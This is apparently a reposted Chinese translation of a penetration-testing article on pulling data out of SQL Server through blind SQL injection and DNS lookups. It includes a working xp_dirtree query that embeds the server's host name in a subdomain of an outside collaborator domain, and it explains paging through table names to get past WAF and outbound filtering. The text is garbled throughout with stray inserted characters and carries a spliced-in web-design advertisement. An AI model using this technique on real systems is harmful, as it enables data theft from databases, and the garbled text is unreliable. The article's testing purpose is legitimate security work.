這期內(nèi)容當中小編將會給大家?guī)碛嘘P如何使用DNS和SQLi從庫中獲取數(shù)據(jù)樣本,文章內(nèi)容豐富且以專業(yè)的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。
成都創(chuàng)新互聯(lián)從2013年創(chuàng)立,是專業(yè)互聯(lián)網(wǎng)技術服務公司,擁有項目成都做網(wǎng)站、網(wǎng)站設計網(wǎng)站策劃,項目實施與項目整合能力。我們以讓每一個夢想脫穎而出為使命,1280元四川做網(wǎng)站,已為上家服務,為四川各地企業(yè)和個人服務,聯(lián)系電話:028-86922220
泄露數(shù)據(jù)的方法有許多,但你是否知道可以使用DNS和SQLi從數(shù)據(jù)庫中獲取數(shù)據(jù)樣本?下面我將為大家介紹一些利用SQL盲注從DB服務器枚舉和泄露數(shù)據(jù)的技術。
在最近的一個Web應用測試中,我發(fā)現(xiàn)了一個潛在的SQLi漏洞。使用Burp的Collaborator服務通過DNS交互最終我確認了該SQL注入漏洞的存在。我嘗試使用SQLmap進行一些額外的枚舉和泄露,但由于SQLmap header的原因WAF阻止了我的請求。我需要另一種方法來驗證SQLi并顯示可以從服務器恢復數(shù)據(jù)。
在之前的文章中,我向大家展示了如何使用xp_dirtree通過SQLi來捕獲SQL Server用戶哈希值的方法。這里我嘗試了相同的方法,但由于客戶端防火墻上的出站過濾而失敗了。此外,在上篇文章中我還引用了GracefulSecurity的文章內(nèi)容,而在本文中它也將再次派上用場。
即使有出站過濾,xp_dirtree仍可用于從網(wǎng)絡中泄露數(shù)據(jù)。這是因為SQL服務器必須在xp_dirtree操作的目標上執(zhí)行DNS查找。因此,我們可以將數(shù)據(jù)添加為域名的主機或子域部分。例如,如果我在collaborator.redsiege.net上設置DNS服務器,我可以強制xp_dirtree在data.collaborator.redsiege.net上執(zhí)行DNS查找,我的DNS服務器將接收該主機的查詢,允許我提取來自請求的數(shù)據(jù)。可能這么說你還有些混亂,我們通過一個實例來講解。
請思考以下代碼:
DECLARE @data varchar(1024); SELECT @data = (SELECT HOST_NAME()); EXEC('master.dbo.xp_dirtree "\\'+@data+'.collaborator.redsiege.net\foo$"');
在此SQL查詢中,我們聲明了一個名為data的變量,我們使用SELECT HOST_NAME()的結(jié)果來填充該變量,然后在\\hostname.collaborator.redsiege.net上嘗試xp_dirtree。
我的測試系統(tǒng)名為INTRUDER。在我的測試系統(tǒng)上執(zhí)行這個查詢導致了對INTRUDER.collaborator.redsiege.net的查找,如下所示。
在這一點上,我知道有一種可靠的方法可以來泄露數(shù)據(jù),即使需要手動完成。當然,對于這個演示我使用SQL Server Management Studio來顯示結(jié)果發(fā)出查詢,但實際上這與通過SQLi實現(xiàn)這一點并沒有太大區(qū)別,唯一的不同就是需要對部分查詢進行URL編碼。
在下面的示例中,紅框中的查詢語句將會為我們從Northwind數(shù)據(jù)庫中返回表名。
在該查詢中你應該已經(jīng)注意到了有2個SELECT語句。內(nèi)部SELECT語句(在上面截圖中調(diào)用的)返回Northwind數(shù)據(jù)庫中表名的前10個結(jié)果,并按升序字母順序排序。然后,外部(第一個)SELECT語句選擇按字母順序降序排序的結(jié)果集的第一個結(jié)果。此查詢的結(jié)果是我們檢索Northwind數(shù)據(jù)庫中第10個表的名稱。你是不是感到有些疑惑?讓我們來分解下。
以下內(nèi)部的SELECT語句,它將返回10個結(jié)果并按升序字母順序排序。
如下所示,完整的查詢只返回第10個表的名稱。這是因為我們首先返回了10個結(jié)果,并按升序字母順序排序,然后我們又執(zhí)行了第二個SELECT,其中只返回按降序字母順序排序的第一個結(jié)果。這樣一來查詢結(jié)果將只會為我們返回表名列表中的第10個結(jié)果。
知道了這一點后,我們就可以使用Intruder迭代所有可能的表名,只需修改第二個SELECT語句并增加每個請求中的結(jié)果數(shù)即可。
上述就是小編為大家分享的如何使用DNS和SQLi從庫中獲取數(shù)據(jù)樣本了,如果剛好有類似的疑惑,不妨參照上述分析進行理解。如果想知道更多相關知識,歡迎關注創(chuàng)新互聯(lián)行業(yè)資訊頻道。